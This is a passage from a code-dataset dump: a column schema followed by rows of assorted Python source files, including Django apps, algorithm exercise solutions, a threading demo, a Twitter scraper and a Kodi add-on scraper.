blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
288
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
684 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
147 values
src_encoding
stringclasses
25 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
128
12.7k
extension
stringclasses
142 values
content
stringlengths
128
8.19k
authors
listlengths
1
1
author_id
stringlengths
1
132
09e0e639e78b5d589ce1b29c07d10a0f7a616734
45b64f620e474ac6d6b2c04fbad2730f67a62b8e
/Varsity-Final-Project-by-Django-master/.history/project/index/views_20210226000505.py
c8c780a29137164e7ee593f6beb0b9fcf9216d35
[]
no_license
ashimmitra/Final-Project
99de00b691960e25b1ad05c2c680015a439277e0
a3e1d3c9d377e7b95b3eaf4dbf757a84a3858003
refs/heads/master
2023-04-11T06:12:35.123255
2021-04-26T15:41:52
2021-04-26T15:41:52
361,796,607
0
0
null
null
null
null
UTF-8
Python
false
false
260
py
from django.shortcuts import render from .model import AboutSite def home(request): aboutdata=AboutSite.objects.all() context=[ 'about'= ] return render(request,"index.html") def blog(request): return render(request,"blog.html")
[ "34328617+ashimmitra@users.noreply.github.com" ]
34328617+ashimmitra@users.noreply.github.com
11b059a875363c44c367c680d055a178be4e0f45
448d028fb4b4703f0be32e0e6780a389c13b3914
/semaphore_example.py
a95d141ccab4b526b728c7a8687c06b03c191811
[]
no_license
katryo/python-threading
9453dd377d7ab4aebbdb3bc9c222b4fe4d3cf156
f65ebe725f86463f2e97d9426d233257c91518cd
refs/heads/master
2020-04-21T22:48:41.737864
2019-02-09T23:33:53
2019-02-09T23:33:53
169,925,250
0
0
null
null
null
null
UTF-8
Python
false
false
546
py
from threading import Semaphore, Thread from datetime import datetime from time import sleep class Runner: def run(self, sem): for _ in range(3): with sem: print(datetime.now()) sleep(1) if __name__ == '__main__': sem = Semaphore(2) runner = Runner() ...
[ "katoryo55@gmail.com" ]
katoryo55@gmail.com
b0766213ff36f4e3e57f2f14e1eac7fa6f65c9c3
13c14be20f16ffc14b7cde71ed8c4179e2410a0b
/algorithms/lisa-workbook.py
ac24edf42812ac4ec504b5bb62318e9c230d6018
[]
no_license
gautamits/hackerrank
79688e5735a27eed032ce0c34f4fe253cfb6b572
aee6b00f4cd39c18e9107e933cceb55b9677c3c7
refs/heads/master
2020-05-21T22:55:50.977437
2018-12-11T05:09:36
2018-12-11T05:09:36
61,579,845
0
0
null
null
null
null
UTF-8
Python
false
false
633
py
#!/bin/python3 import math import os import random import re import sys from itertools import count, zip_longest # Complete the workbook function below. def workbook(n, k, arr): page=count(1) return sum([len([1 for probs in zip_longest(*[iter(range(1, num_chpt_probs+1))]*k) if next(page) in probs]) for num_chp...
[ "gautamamits95@gmail.com" ]
gautamamits95@gmail.com
b89e6a9365194978cfa8663dd987ce19fe88410a
72012dc3877b16b25f43cd62df1fc081c8f9299d
/my_site/views.py
891f45eebcd96f9059c7081e4bfc31f47c753146
[]
no_license
volitilov/wf_v2
e12962bf1fbf3b6e73bd67bcccffc4e218575e5b
1c2f585926f8258b208ad52f7ffa40576b4b37e2
refs/heads/master
2021-01-21T17:37:35.465356
2017-05-28T17:53:38
2017-05-28T17:53:38
91,968,903
0
0
null
null
null
null
UTF-8
Python
false
false
2,151
py
from django.template.context_processors import csrf from django.shortcuts import redirect, render, get_object_or_404 from django.core.exceptions import ObjectDoesNotExist from django.http import HttpResponse, HttpResponseRedirect from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from .models imp...
[ "volitilov@gmail.com" ]
volitilov@gmail.com
381fbd0dd22da0e55005395e2daaaf7acec16583
a8b37bd399dd0bad27d3abd386ace85a6b70ef28
/airbyte-integrations/bases/connector-acceptance-test/connector_acceptance_test/utils/compare.py
e71b1bafdc55d4db015a2835ce578c908a0db98f
[ "MIT", "LicenseRef-scancode-free-unknown", "Elastic-2.0" ]
permissive
thomas-vl/airbyte
5da2ba9d189ba0b202feb952cadfb550c5050871
258a8eb683634a9f9b7821c9a92d1b70c5389a10
refs/heads/master
2023-09-01T17:49:23.761569
2023-08-25T13:13:11
2023-08-25T13:13:11
327,604,451
1
0
MIT
2021-01-07T12:24:20
2021-01-07T12:24:19
null
UTF-8
Python
false
false
3,254
py
# # Copyright (c) 2023 Airbyte, Inc., all rights reserved. # import functools from typing import List, Mapping, Optional import dpath.exceptions import dpath.util import icdiff import py from pprintpp import pformat MAX_COLS = py.io.TerminalWriter().fullwidth MARGIN_LEFT = 20 GUTTER = 3 MARGINS = MARGIN_LEFT + GUTTE...
[ "noreply@github.com" ]
thomas-vl.noreply@github.com
6b910e42492be063380898c263fff9db242597d7
bf2aa4eab14a6a5347fe4af65cc4a37f512a465d
/people/migrations/0185_auto_20211228_1012.py
f7d8a97b37ffb72adfa1415ed169341a3c45484d
[]
no_license
drdavidknott/betterstart
0cda889f5cd6bb779f6d1fa75cb4f2ef08eb626c
59e2f8282b34b7c75e1e19e1cfa276b787118adf
refs/heads/master
2023-05-04T07:32:24.796488
2023-04-16T15:26:30
2023-04-16T15:26:30
173,626,906
0
0
null
2023-02-18T07:27:55
2019-03-03T20:37:01
Python
UTF-8
Python
false
false
2,187
py
# Generated by Django 3.1.13 on 2021-12-28 10:12 from django.db import migrations, models import django.db.models.deletion import people.django_extensions class Migration(migrations.Migration): dependencies = [ ('people', '0184_survey_question_survey_question_type'), ] operations = [ mi...
[ "dkoysta@gmail.com" ]
dkoysta@gmail.com
8f0d1c6f1c3a8f8d9e42acba2344603fcafe173d
dc3d310934705034ab2f5bc4d3a96f07dab9b48b
/about_orm/app01/models.py
eb0e65d0120790442bd0561e2021c0df7c9e6ab5
[]
no_license
createnewdemo/istudy_test
82197488d9e9fa05e0c6cc91362645fc4555dc1d
806693f2bee13e3c28571d0d75f6b6ea70acf7a0
refs/heads/master
2022-04-19T05:52:53.780973
2020-04-17T17:04:10
2020-04-17T17:04:10
256,507,355
0
1
null
null
null
null
UTF-8
Python
false
false
1,957
py
from django.db import models # Create your models here. class Person(models.Model): pid = models.AutoField(primary_key=True) name = models.CharField(db_column='nick',max_length=32,blank=True,null=True) #char age = models.IntegerField() birth = models.DateTimeField(auto_now=True)# 新增数据是自动保存 #auto_no...
[ "320783214@qq.com" ]
320783214@qq.com
8f96c48c1e4bd9530d879ca2c31181ad9a56ae83
6e9f3e81af3ab66b10f8602544695ad9b035ffa5
/jcoin/scripts/make-account.py
b95b671a8d4502546c79277eb6056937b88e1bef
[ "MIT" ]
permissive
slice/jose
5ca7074e326e5fcffe7a1abfef249160644faa7c
13e39b958f58fd024b3ba5b7ccd0a1cd7f02f14c
refs/heads/master
2021-05-04T22:48:09.804518
2018-03-06T02:18:47
2018-03-06T02:18:47
99,070,186
0
0
null
2017-08-02T03:55:23
2017-08-02T03:55:23
null
UTF-8
Python
false
false
198
py
import requests def main(): r = requests.post('http://0.0.0.0:8080/api/wallets/162819866682851329', json={ 'type': 0, }) print(r) if __name__ == '__main__': main()
[ "lkmnds@gmail.com" ]
lkmnds@gmail.com
4df461452801f2faf135f7c05f95ba61cea06067
9c6decc65c5dc7aed3aff66405cdafa3a750d8a5
/Problem001-100/001 Multiples of 3 and 5.py
7bd80a9209855897b4d5ae1373916f32144db95b
[]
no_license
Anfany/Project-Euler-by-Python3
9374a6a112843f03f7cda6b689a8fd7db7914a9d
385e2c1c02b5e81111e054c3807911defde2dc29
refs/heads/master
2021-04-06T00:48:03.603738
2019-04-18T02:35:02
2019-04-18T02:35:02
124,505,893
3
1
null
null
null
null
UTF-8
Python
false
false
190
py
#!/usr/bin/python3.5 # -*- coding: UTF-8 -*- #Author: AnFany # Problem001 Multiples of 3 and 5 an=sum([i for i in range(1,1000) if i%3==0 or i%5==0]) print(an) #答案:233168
[ "noreply@github.com" ]
Anfany.noreply@github.com
7355cb8b618bc1bf927c25c2ad8f74d161bec0bb
6bf19501437a419bfb0b891a1ac55b52ab833b97
/apps/master/actors/chat.py
c391adc38b6c2b7c8daffee794dcb38e1e27239d
[ "Apache-2.0" ]
permissive
jdelrue/digital_me
330351edbfa5ffb931f5f0592c5738432c2eaa88
5e4699a3c94088fa089e0c1fefab9955cd6bd927
refs/heads/master
2020-04-07T16:56:53.703863
2018-07-31T13:08:30
2018-07-31T13:08:30
158,549,943
0
0
NOASSERTION
2018-11-21T13:11:28
2018-11-21T13:11:28
null
UTF-8
Python
false
false
1,075
py
from jumpscale import j #BE CAREFUL MASTER IS IN: /code/github/threefoldtech/jumpscale_lib/JumpscaleLib/servers/gedis/base/actors/chat.py JSBASE = j.application.jsbase_get_class() class chat(JSBASE): """ """ def __init__(self): JSBASE.__init__(self) self.chatbot = j.servers.gedis.latest.c...
[ "kristof@incubaid.com" ]
kristof@incubaid.com
51242aad84f877f6312483b22294f379050c32d6
c8a7ccfb42628d1100562a053c4334488e1bf239
/shell_cartesian_product.py
6fa93aafa24d0d97ef46b832a619ec80dfc50343
[ "CC0-1.0" ]
permissive
LyricLy/python-snippets
8487619a916e33e02b5772aba577d9dafdfd803b
9d868b7bbccd793ea1dc513f51290963584a1dee
refs/heads/master
2020-04-08T01:57:22.511167
2018-11-24T08:12:20
2018-11-24T08:12:20
158,916,096
1
0
CC0-1.0
2018-11-24T08:16:59
2018-11-24T08:16:59
null
UTF-8
Python
false
false
624
py
#!/usr/bin/env python3 # encoding: utf-8 import re as _re def expand(str) -> (str, str): """expand a string containing one non-nested cartesian product strings into two strings >>> expand('foo{bar,baz}') ('foobar', 'foobaz') >>> expand('{old,new}') ('old', 'new') >>> expand('uninteresting') 'uninteresting' "...
[ "bmintz@protonmail.com" ]
bmintz@protonmail.com
c7efb64ec9be875434887caa7539ac4f76f26d5e
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02398/s216293399.py
f27ba33161028edb6af38fe51bdbad406e51b2e2
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
138
py
from sys import stdin a, b, c = [int(x) for x in stdin.readline().rstrip().split()] print(len([x for x in range(a, b+1) if c % x == 0]))
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
5bed01a254bd62b699ed700ae1d181c947b9b35a
3d19e1a316de4d6d96471c64332fff7acfaf1308
/Users/B/buttub/basic_twitter_scraper_210.py
9d1bd12d5fb4a5b4529a86e87666c11c1e6b964c
[]
no_license
BerilBBJ/scraperwiki-scraper-vault
4e98837ac3b1cc3a3edb01b8954ed00f341c8fcc
65ea6a943cc348a9caf3782b900b36446f7e137d
refs/heads/master
2021-12-02T23:55:58.481210
2013-09-30T17:02:59
2013-09-30T17:02:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,288
py
################################################################################### # Twitter scraper - designed to be forked and used for more interesting things ################################################################################### import scraperwiki import simplejson import urllib2 # Change QUERY to y...
[ "pallih@kaninka.net" ]
pallih@kaninka.net
7d254cf76a88c8dfee2d600c08809f29ae21763e
d7e131777d76b98d76cc3a37f96313282b1ad69c
/functions.py
856222fe9fdc0a66c0ab04d04595eca664c857c5
[]
no_license
prashararchi/spy-chat
bd7e71bbcb627c075e196f1c487d8039ac843db4
9d2cb9a81f78ac7afc08642d6669988d3ee67500
refs/heads/master
2020-12-02T22:10:09.834229
2017-07-03T10:04:17
2017-07-03T10:04:17
96,092,079
0
0
null
null
null
null
UTF-8
Python
false
false
3,494
py
from spy_details import* from steganography.steganography import Steganography from colorama import init,Fore,Style from datetime import datetime #reading chat_history def read_chat_history(): read_for = select_friend() for chat in friends[read_for].chats: if chat.sent_by_me: init(autoreset...
[ "=" ]
=
a78dbd6d284e4a6f01a1019211971bc9c0c8c61b
0d942316070509955bad7ee774ac417e5c7b1235
/datastructures/minheap.py
34ab3809f1483e9783635f1a0761b4eb078ad011
[]
no_license
rlavanya9/hackerrank
4750ad48d5d249f1d58e6eff205e585f17e6a78b
64e6686df62c1f1cdaa7dfb6d0c4525d236c197b
refs/heads/master
2023-03-24T15:50:41.616353
2021-03-19T17:26:54
2021-03-19T17:26:54
349,502,745
0
0
null
null
null
null
UTF-8
Python
false
false
3,044
py
""" Min Heap Implementation in Python """ class MinHeap: def __init__(self): """ On this implementation the heap list is initialized with a value """ self.heap_list = [0] self.current_size = 0 def sift_up(self, i): """ Moves the value up in the tree to m...
[ "rangaswamy.lavanya@gmail.com" ]
rangaswamy.lavanya@gmail.com
cd3e76b86f9d33e10b10335157e5d340ce734962
0fdc732fcdad1c0d76d6ec80cb6e25b6ec17d6e1
/generic_views/display_views/models.py
09bf2b21330b7de58380a241d44bb9f07e61cb04
[ "MIT" ]
permissive
markbirds/Django-Code-Repo
9b3c8bfba948dd8ea1be71e31cbfd2ef26bfa157
b55762d2dab00640acf2e8e00ddc66716d53c6b5
refs/heads/master
2023-01-05T22:44:16.405853
2020-11-03T07:17:50
2020-11-03T07:17:50
299,615,438
3
0
null
null
null
null
UTF-8
Python
false
false
459
py
import uuid from django.db import models class DisplayViewModel(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(unique=True,max_length=50) age = models.IntegerField() def get_absolute_url(self): from django.urls import reverse ...
[ "fowenpatrick@gmail.com" ]
fowenpatrick@gmail.com
b6edf643e623372579197f494e3f4691341ddcb7
4d56399b01d06946024822edcdf2b45bbc1dfe8f
/tests/app/TestMnistFlow.py
8f88a7e2bb5e318f3bfeb41e1b6c8a2ca68253c7
[]
no_license
fletch22/nba_win_predictor
961b520b50cd5bebceb8c5d2bc91bc0dc71715ef
aff78780aca8a54c22e904cdcdee569278d4f5fc
refs/heads/master
2023-08-11T02:44:22.613419
2020-04-09T21:32:38
2020-04-09T21:32:38
181,233,092
0
0
null
2021-08-25T14:57:49
2019-04-13T22:01:58
Python
UTF-8
Python
false
false
2,443
py
import warnings from app.models.mnist_pretrained import get_vgg16_for_mnist warnings.filterwarnings('ignore') import os from unittest import TestCase from keras.layers import Convolution2D, MaxPooling2D from keras.layers import Flatten, Dense from keras.models import Sequential from keras.preprocessing.image import...
[ "chris@fletch22.com" ]
chris@fletch22.com
a4fd68b0396381878daf049a641dec0c58de016d
c5cb9d60da5bab94ccf4dfb28185315521cc2736
/tests/fountain/test_program.py
7edc24568ab6f69d4fee090c0a2202d98ada73c7
[]
no_license
Let-it-Fountain/code-generator
4aa93ed7688e064d727619f68c902823b5c99e4e
25560af09d008d5501eb4f68e8db5bb2aeaa8461
refs/heads/master
2016-08-12T18:43:30.896931
2016-01-07T20:16:02
2016-01-07T20:38:42
49,221,850
0
0
null
null
null
null
UTF-8
Python
false
false
1,219
py
import unittest from fountain.command import ChangeNozzlePressureAndColorFountainCommand from fountain.program import FountainProgram class TestFountainProgram(unittest.TestCase): def test_parse_json(self): json = """{ "version": 1, "commands": [ { ...
[ "0coming.soon@gmail.com" ]
0coming.soon@gmail.com
016b7f14678ca082a128d9d26d7fe538516f88ca
298c86756b741b4c0b706f5178fd26d6d3b63541
/src/301_400/0330_patching-array/patching-array.py
272322d30bc46a5f36cd0da0e961270b3653ad2b
[ "Apache-2.0" ]
permissive
himichael/LeetCode
c1bd6afd55479440c21906bf1a0b79a658bb662f
4c19fa86b5fa91b1c76d2c6d19d1d2ef14bdff97
refs/heads/master
2023-02-12T07:25:22.693175
2023-01-28T10:41:31
2023-01-28T10:41:31
185,511,218
1
0
null
null
null
null
UTF-8
Python
false
false
379
py
class Solution: def minPatches(self, nums: List[int], n: int) -> int: patches, x = 0, 1 length, index = len(nums), 0 while x <= n: if index < length and nums[index] <= x: x += nums[index] index += 1 else: x <<= 1 ...
[ "michaelwangg@qq.com" ]
michaelwangg@qq.com
8235e8dcebb8c85c71c21f2c8a9467bf62a6ff4b
e5a511e346f5be8a82fe9cb2edf457aa7e82859c
/Python/ListPrograms/shuffleList.py
87719058859c7a7cc65a26310471c5e2ace1e816
[]
no_license
nekapoor7/Python-and-Django
8397561c78e599abc8755887cbed39ebef8d27dc
8fa4d15f4fa964634ad6a89bd4d8588aa045e24f
refs/heads/master
2022-10-10T20:23:02.673600
2020-06-11T09:06:42
2020-06-11T09:06:42
257,163,996
0
0
null
null
null
null
UTF-8
Python
false
false
155
py
"""Write a Python program to shuffle and print a specified list. """ from random import shuffle words = list(input().split()) shuffle(words) print(words)
[ "neha.kapoor070789@gmail.com" ]
neha.kapoor070789@gmail.com
35e12a74b76bdfabf580cd443df340d7e4f27584
565548ff49844ed69ae16d5104e500f01c973402
/models/PST.py
2592e69433fc0f5746b4d5cfa9e4f09e85a9eae1
[]
no_license
jaisenbe58r/Pebrassos
159ce5a8b372590fd9368d9b5b3c1b0513895bba
7516a1f7bbba78547af86a9858ee381224964d28
refs/heads/master
2023-02-27T05:42:50.652697
2021-01-31T20:57:59
2021-01-31T20:57:59
299,698,630
3
1
null
2021-01-31T20:58:01
2020-09-29T18:04:36
Jupyter Notebook
UTF-8
Python
false
false
1,169
py
"""Copyright (c) 2020 Jaime Sendra Berenguer & Carlos Mahiques Ballester Pebrassos - Machine Learning Library Extensions Author:Jaime Sendra Berenguer & Carlos Mahiques Ballester <www.linkedin.com/in/jaisenbe> License: MIT """ import pandas as pd import numpy as np from sklearn.preprocessing import MinMaxScaler ...
[ "jsendra@autis.es" ]
jsendra@autis.es
8760723ee95d31f6a5cbdb418e9be59736b266df
931ae36e876b474a5343d0608ef41da6b33f1048
/062.py
65898c09041b8f9ab2b9ef1e6e95318adaac13bd
[]
no_license
mucollabo/py100
07fc10164b1335ad45a55b6af4767948cf18ee28
6361398e61cb5b014d2996099c3acfe604ee457c
refs/heads/master
2023-01-27T13:48:57.807514
2020-12-10T12:49:10
2020-12-10T12:49:10
267,203,606
0
0
null
null
null
null
UTF-8
Python
false
false
777
py
import openpyxl from openpyxl.styles import Alignment import os # 워크북(Workbook) 객체 만들기 wb = openpyxl.Workbook() # 시트(Sheet) 객체 만들기 ws = wb.create_sheet(index=0, title='Merge') wb.remove(wb['Sheet']) # 데이터 입력하기 tuple_of_rows = ((1, 2), (3, 4), (5, 6), (7, 8), ...
[ "mucollabo@gmail.com" ]
mucollabo@gmail.com
cff20af9ca952b1c601ab44b87a8efd7effd6b35
cff2b7c96ca0355a44116f6d18f026da69e412b0
/script.module.Galaxy/lib/resources/lib/sources/en/Galaxy (31).py
393be8d1d8c6c5e1d22fd97aa6d10bfc39403e53
[ "Beerware" ]
permissive
krazware/therealufo
cc836e4e7049d277205bb590d75d172f5745cb7d
4d6341c77e8c2cc9faec0f748a9a2d931b368217
refs/heads/master
2020-03-19T00:41:22.109154
2019-11-12T05:06:14
2019-11-12T05:06:14
135,496,631
0
0
null
null
null
null
UTF-8
Python
false
false
5,918
py
''' The Martian Add-on ***FSPM was here***** This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. T...
[ "krazinabox@gmail.com" ]
krazinabox@gmail.com
084b701db876a7a9cc96de46ba22410822435bef
15f321878face2af9317363c5f6de1e5ddd9b749
/solutions_python/Problem_201/2768.py
40e17f65e0ef41dbbc7a6fbe6147c990164a2ac2
[]
no_license
dr-dos-ok/Code_Jam_Webscraper
c06fd59870842664cd79c41eb460a09553e1c80a
26a35bf114a3aa30fc4c677ef069d95f41665cc0
refs/heads/master
2020-04-06T08:17:40.938460
2018-10-14T10:12:47
2018-10-14T10:12:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
958
py
T = int(input()) for t in range(1, T + 1): result = "" N, K = [int(i) for i in input().split(" ")] if N == K: result = "{} {}".format(0, 0) else: s = [0 for i in range(N)] for c in range(K): Ls = [0 for i in range(N)] Rs = [0 for i in range(N)] for i in range(N): if s[i] == 0: ...
[ "miliar1732@gmail.com" ]
miliar1732@gmail.com
c92647660bee53af23986221cb7ab6c32ab5ce7f
8a3d282ffb9830b01a3b698e2930ba8da6617d99
/Lesson4/exercise1.py
325205e8b230c4e4ebd0d2c7fbf211e9164ab04a
[]
no_license
papri-entropy/pynet-py3
08ba96adc9e0163990c7a8064ed8207b898748ff
5554fa8a61b2e57f652046815e60f1b6db361d1e
refs/heads/master
2023-04-03T17:51:45.105739
2021-04-15T14:33:05
2021-04-15T14:33:05
344,288,269
0
0
null
null
null
null
UTF-8
Python
false
false
1,490
py
#!/usr/bin/env python """ 1. Create a dictionary representing a network device. The dictionary should have key-value pairs representing the 'ip_addr', 'vendor', 'username', and 'password' fields. Print out the 'ip_addr' key from the dictionary. If the 'vendor' key is 'cisco', then set the 'platform' to 'ios'. If th...
[ "cosminpetrache4@gmail.com" ]
cosminpetrache4@gmail.com
986648f850c2baa86b81a830fe9aa86b1cb75ddc
ff60a647a3cc566220f5cefc8ddec7e1f865ac20
/0x13-count_it/2-recurse.py
01d85f2ffb597b45e64d288db5d85c4b052c9f42
[]
no_license
mag389/holbertonschool-interview
cf6c2cc568bc321dcd705fbb76ad1e13ff8ba4f7
6f5b621d7a03efb990970e8c28ac41c1498aa6cd
refs/heads/main
2023-07-19T05:57:50.296276
2021-09-09T14:34:02
2021-09-09T14:34:02
319,713,419
0
0
null
null
null
null
UTF-8
Python
false
false
1,447
py
#!/usr/bin/python3 """ script to scrape and count words from reddit hot posts """ import requests import time import urllib import sys def recurse(subreddit, hot_list=[], after=""): """ uses reddit api to give top 10 hot posts in a subreddit """ custom_user = {"User-Agent": "custom"} url = "ht...
[ "mag389@cornell.edu" ]
mag389@cornell.edu
2abce665437b0f3f3ab17d70c43c98a0c6ebc291
5a52ccea88f90dd4f1acc2819997fce0dd5ffb7d
/alipay/aop/api/domain/AlipayInsSceneFamilydoctorItemBatchqueryModel.py
4a78f51f516c09e2559b61451709e855a8a875f6
[ "Apache-2.0" ]
permissive
alipay/alipay-sdk-python-all
8bd20882852ffeb70a6e929038bf88ff1d1eff1c
1fad300587c9e7e099747305ba9077d4cd7afde9
refs/heads/master
2023-08-27T21:35:01.778771
2023-08-23T07:12:26
2023-08-23T07:12:26
133,338,689
247
70
Apache-2.0
2023-04-25T04:54:02
2018-05-14T09:40:54
Python
UTF-8
Python
false
false
3,638
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.constant.ParamConstants import * class AlipayInsSceneFamilydoctorItemBatchqueryModel(object): def __init__(self): self._ant_ser_contract_no = None self._disease_name_list = None self._emergency = None s...
[ "jishupei.jsp@alibaba-inc.com" ]
jishupei.jsp@alibaba-inc.com
de6378f101239d52c399e53d1291b84af868b941
f305f84ea6f721c2391300f0a60e21d2ce14f2a5
/22_专题/implicit_graph/RangeFinder/Finder-fastset.py
ce22f608c5a5bd551f47efa704b5fe7821690be3
[]
no_license
981377660LMT/algorithm-study
f2ada3e6959338ae1bc21934a84f7314a8ecff82
7e79e26bb8f641868561b186e34c1127ed63c9e0
refs/heads/master
2023-09-01T18:26:16.525579
2023-09-01T12:21:58
2023-09-01T12:21:58
385,861,235
225
24
null
null
null
null
UTF-8
Python
false
false
3,937
py
# 寻找前驱后继/区间删除 from typing import Optional class Finder: """利用位运算寻找区间的某个位置左侧/右侧第一个未被访问过的位置. 初始时,所有位置都未被访问过. """ __slots__ = "_n", "_lg", "_seg" @staticmethod def _trailingZeros1024(x: int) -> int: if x == 0: return 1024 return (x & -x).bit_length...
[ "lmt2818088@gmail.com" ]
lmt2818088@gmail.com
1ef40b11592352d2630e7e1c9536c6dc9c1fa5ee
2463da77ab902e3728a71fc0a09fb92f687e755d
/contentful_proxy/handlers/files.py
ac9a51f1a693722ac68d98e5b4cf05a01ac3cd13
[ "MIT" ]
permissive
stanwood/gae-contentful-proxy
5c2f0aa41819483aa8e428134cc94d4f26c90141
739a8b370eb714e27a9f2b50e3772701f52f81df
refs/heads/master
2020-03-24T20:41:06.798623
2019-02-28T10:22:46
2019-02-28T10:22:46
142,991,557
2
0
MIT
2019-02-28T10:22:47
2018-07-31T09:19:16
Python
UTF-8
Python
false
false
4,576
py
# The MIT License (MIT) # # Copyright (c) 2018 stanwood GmbH # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, m...
[ "rivinek@gmail.com" ]
rivinek@gmail.com
f35a141a6b9327cb830d2aa9efce7a27e0ecb22c
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p02797/s548875738.py
1e4c657afd00f60237371da34c8f737408e516b4
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
197
py
N,K,S=map(int,input().split()) ans=[] if S<10**9: ans=[S for i in range(K)] ans+=[S+1 for i in range(N-K)] else: ans=[S for i in range(K)] ans+=[1 for i in range(N-K)] print(*ans)
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
4d27f8a2e3a7a4c655602b958bdd5755afb6049f
ad13583673551857615498b9605d9dcab63bb2c3
/output/models/nist_data/list_pkg/unsigned_int/schema_instance/nistschema_sv_iv_list_unsigned_int_enumeration_5_xsd/__init__.py
aac688dac1eef59628983e92d248aa85f031d7b3
[ "MIT" ]
permissive
tefra/xsdata-w3c-tests
397180205a735b06170aa188f1f39451d2089815
081d0908382a0e0b29c8ee9caca6f1c0e36dd6db
refs/heads/main
2023-08-03T04:25:37.841917
2023-07-29T17:10:13
2023-07-30T12:11:13
239,622,251
2
0
MIT
2023-07-25T14:19:04
2020-02-10T21:59:47
Python
UTF-8
Python
false
false
395
py
from output.models.nist_data.list_pkg.unsigned_int.schema_instance.nistschema_sv_iv_list_unsigned_int_enumeration_5_xsd.nistschema_sv_iv_list_unsigned_int_enumeration_5 import ( NistschemaSvIvListUnsignedIntEnumeration5, NistschemaSvIvListUnsignedIntEnumeration5Type, ) __all__ = [ "NistschemaSvIvListUnsign...
[ "tsoulloftas@gmail.com" ]
tsoulloftas@gmail.com
ebba29e91a30057168a0cd0f69ce39d84363309c
aa9e472929a1f3f87bbcd5cc272be99a68bf047a
/tuples/find_repeated_items.py
f5ead828d7bb5bb8c756c383020eb510d31fe6c4
[]
no_license
stradtkt/Python-Exercises
226706542f88973f77e6f2870b21cd87a278bf2b
18353443b146ce6e8345fcf618d07de2bae6eb86
refs/heads/master
2020-03-19T16:09:51.006809
2018-06-30T20:28:34
2018-06-30T20:28:34
136,703,335
0
0
null
null
null
null
UTF-8
Python
false
false
155
py
my_tuple = 2,4,6,2,4,6,5,2,4,6,7 count1 = my_tuple.count(2) count2 = my_tuple.count(4) count3 = my_tuple.count(6) print(count1) print(count2) print(count3)
[ "stradtkt22@gmail.com" ]
stradtkt22@gmail.com
b281272d10fb31464d7d8a0cb4e290739c32189e
634367d6a94d9bce231a8c29cf9713ebfc4b1de7
/covid_dashboard/views/get_day_wise_district_details/tests/test_case_02.py
f45bf3a2ba5ff1d48aed35ca3ba4a418dcc8c048
[]
no_license
saikiranravupalli/covid_dashboard
5a48c97597983ada36a3bf131edf5ca15f1dedec
954dd02819fb8f6776fa2828e8971bd55efa657c
refs/heads/master
2022-11-08T10:11:27.836507
2020-06-30T09:00:27
2020-06-30T09:00:27
269,610,409
0
0
null
null
null
null
UTF-8
Python
false
false
1,278
py
""" # TODO: get_day_wise_district_details with valid district_id returns details """ from covid_dashboard.utils.custom_test_utils import CustomTestUtils from . import APP_NAME, OPERATION_NAME, REQUEST_METHOD, URL_SUFFIX REQUEST_BODY = """ {} """ TEST_CASE = { "request": { "path_params": {"district_id": "...
[ "saikiranravupalli@gmail.com" ]
saikiranravupalli@gmail.com
5d51b6541ffc22ba6dbade62616ccfd70e03dba4
e2d22f12f8e540a80d31de9debe775d35c3c5c22
/blousebrothers/users/migrations/0002_auto_20161009_0739.py
5caaeef0f9d6ef6321c753470fdeb2432fd49587
[ "MIT" ]
permissive
sladinji/blousebrothers
360c3b78ec43379977dbf470e5721e6a695b2354
461de3ba011c0aaed3f0014136c4497b6890d086
refs/heads/master
2022-12-20T10:24:07.631454
2019-06-13T13:17:35
2019-06-13T13:17:35
66,867,705
1
0
NOASSERTION
2022-12-19T18:15:44
2016-08-29T18:04:33
Python
UTF-8
Python
false
false
757
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-10-09 07:39 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('users', '0001_initial'), ] operations = [ m...
[ "julien.almarcha@gmail.com" ]
julien.almarcha@gmail.com
bbc0d7036c3b0d1661ec5acc2b80f06806aeda93
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/L4HM6uMHDCnepz5HK_7.py
d5c57b4d97b416320f6e56898bb1695785da62cf
[]
no_license
daniel-reich/turbo-robot
